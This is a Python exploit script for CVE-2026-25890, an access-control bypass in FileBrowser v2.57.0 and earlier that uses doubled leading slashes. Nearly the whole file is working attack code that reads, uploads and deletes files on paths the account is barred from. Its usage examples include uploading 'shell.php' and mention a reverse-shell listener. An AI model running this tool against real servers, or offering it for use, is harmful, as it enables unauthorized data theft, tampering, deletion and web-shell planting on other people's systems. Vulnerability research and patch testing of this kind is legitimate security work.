#!/usr/bin/env python3
# Exploit Title: FileBrowser Access Control Bypass via Multiple Leading Slashes
# CVE: CVE-2026-25890
# Date: 2026-02-20
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://filebrowser.org
# Software Link: https://github.com/filebrowser/filebrowser
# Vulnerable: FileBrowser ≤ v2.57.0
# Tested on: Linux / Docker
# Category: Webapps
# Platform: Multi
# Exploit Type: Remote
# Description:
# Exploits path-based access control bypass in FileBrowser ≤ v2.57.0 using
# multiple leading slashes (//private instead of /private) to bypass
# authorization rules that use strings.HasPrefix without path normalization.
# Allows unauthorized read, write and delete operations on restricted paths.
#
# Usage:
# python3 exploit.py --url http://target:8080 --username bob --password pass123 --path /private/secret.txt
#
# Examples:
# python3 exploit.py --url http://192.168.1.50:8080 --username user --password pass --path /private/secret.txt
# python3 exploit.py --url http://10.10.10.123:80 --username alice --password secret --path /data/ --action upload --upload-file shell.php --slashes 3
#
# Options:
# --url Target FileBrowser base URL (required)
# --username Authenticated username (required)
# --password Password for the user (required)
# --path Restricted path/file to target (required)
# --action read | upload | delete (default: read)
# --upload-file Local file to upload when using --action upload
# --slashes Number of leading slashes to use for bypass (default: 2)
# --save Save leaked file to this local path (for read action)
# --verbose Show file content preview when reading
#
# Notes:
# - Requires a valid low-privileged user account that is restricted from the target path
# - Works because Gorilla Mux SkipClean(true) + HasPrefix() check mismatch
# - Fixed in FileBrowser v2.57.1 by removing SkipClean(true)
#
# How to Use
#
# Step 1: Set up listener if using reverse shell payload (not included in this PoC)
# Step 2: Run with appropriate action:
# Read restricted file: --action read
# Upload into restricted dir: --action upload --upload-file malicious.php
# Delete restricted file: --action delete
#
import requests
import argparse
import sys
from requests.auth import HTTPBasicAuth
def print_banner():
banner = """
╔════════════════════════════════════════════════════════════════════╗
║ ║
║ ███████╗██╗██╗ ███████╗██████╗ ██████╗ ██████╗ ██████╗ ║
║ ██╔════╝██║██║ ██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔════╝ ║
║ █████╗ ██║██║ █████╗ ██████╔╝██████╔╝██████╔╝██║ ║
║ ██╔══╝ ██║██║ ██╔══╝ ██╔══██╗██╔══██╗██╔══██╗██║ ║
║ ██║ ██║███████╗███████╗██████╔╝██║ ██║██████╔╝╚██████╗ ║
║ ╚═╝ ╚═╝╚══════╝╚══════╝╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═════╝ ║
║ ║
║ CVE-2026-25890 FileBrowser Bypass ║
║ Multiple Leading Slashes Authorization Bypass ║
║ ║
║ Author: Mohammed Idrees Banyamer | @banyamer_security ║
║ Date: 2026-02-20 | Jordan ║
╚════════════════════════════════════════════════════════════════════╝
"""
print(banner)
def test_vulnerability(session, base_url, api_prefix, restricted_path, slash_count=2, save_path=None, verbose=False):
normal_url = f"{base_url}{api_prefix}{restricted_path}"
print(f"[*] Testing normal path : {normal_url}")
r_normal = session.get(normal_url)
print(f" Status: {r_normal.status_code}")
if r_normal.status_code == 403:
print(" → Correctly blocked (expected behavior)")
else:
print(" → Warning: Not blocked — possibly not vulnerable or misconfigured")
bypass_path = '/' * slash_count + restricted_path.lstrip('/')
bypass_url = f"{base_url}{api_prefix}{bypass_path}"
print(f"[*] Testing bypass path ({slash_count} slashes): {bypass_url}")
r_bypass = session.get(bypass_url)
print(f" Status: {r_bypass.status_code}")
if r_bypass.status_code == 200:
print(" → BYPASS SUCCESSFUL!")
print(f" Content length: {len(r_bypass.content)} bytes")
if save_path:
with open(save_path, 'wb') as f:
f.write(r_bypass.content)
print(f" File saved to: {save_path}")
if verbose:
print(f" Content preview:\n{r_bypass.text[:400]}...")
else:
print(" → Bypass failed")
def upload_file(session, base_url, api_prefix, restricted_dir, local_file, slash_count=2):
if not restricted_dir.endswith('/'):
restricted_dir += '/'
bypass_dir = '/' * slash_count + restricted_dir.lstrip('/')
filename = local_file.split('/')[-1]
upload_url = f"{base_url}{api_prefix}{bypass_dir}{filename}"
print(f"[*] Attempting upload to: {upload_url}")
try:
with open(local_file, 'rb') as f:
files = {'upload': (filename, f)}
r = session.post(upload_url, files=files)
print(f" Status: {r.status_code}")
if r.status_code in [200, 201, 204]:
print(" → UPLOAD BYPASS SUCCESSFUL!")
else:
print(f" → Upload failed ({r.text[:200]}...)")
except FileNotFoundError:
print(f"[!] Local file not found: {local_file}")
sys.exit(1)
def delete_file(session, base_url, api_prefix, restricted_path, slash_count=2):
bypass_path = '/' * slash_count + restricted_path.lstrip('/')
delete_url = f"{base_url}{api_prefix}{bypass_path}"
print(f"[*] Attempting delete: {delete_url}")
r = session.delete(delete_url)
print(f" Status: {r.status_code}")
if r.status_code in [200, 204]:
print(" → DELETE BYPASS SUCCESSFUL!")
else:
print(f" → Delete failed ({r.text[:200]}...)")
if __name__ == "__main__":
print_banner()
parser = argparse.ArgumentParser(description="CVE-2026-25890 FileBrowser Access Control Bypass Exploit")
parser.add_argument("--url", required=True, help="Target base URL[](http://host:port)")
parser.add_argument("--username", required=True, help="Authenticated username")
parser.add_argument("--password", required=True, help="User password")
parser.add_argument("--path", required=True, help="Restricted path/file to target")
parser.add_argument("--action", choices=["read", "upload", "delete"], default="read",
help="Action: read (default), upload, delete")
parser.add_argument("--upload-file", help="Local file to upload (--action upload)")
parser.add_argument("--slashes", type=int, default=2, help="Number of leading slashes (default: 2)")
parser.add_argument("--save", help="Save downloaded file here (--action read)")
parser.add_argument("--verbose", action="store_true", help="Show content preview")
args = parser.parse_args()
if args.action == "upload" and not args.upload_file:
print("[!] --upload-file is required when using --action upload")
sys.exit(1)
session = requests.Session()
session.auth = HTTPBasicAuth(args.username, args.password)
api_prefix = "/api/resources"
try:
if args.action == "read":
test_vulnerability(session, args.url, api_prefix, args.path,
args.slashes, args.save, args.verbose)
elif args.action == "upload":
restricted_dir = args.path if '/' not in args.path or args.path.endswith('/') else '/'.join(args.path.split('/')[:-1]) or '/'
upload_file(session, args.url, api_prefix, restricted_dir, args.upload_file, args.slashes)
elif args.action == "delete":
delete_file(session, args.url, api_prefix, args.path, args.slashes)
except requests.exceptions.RequestException as e:
print(f"[!] Connection error: {e}")
sys.exit(1)
except Exception as e:
print(f"[!] Unexpected error: {e}")
sys.exit(1)
print("\nExploit finished. Use responsibly and only with explicit permission.")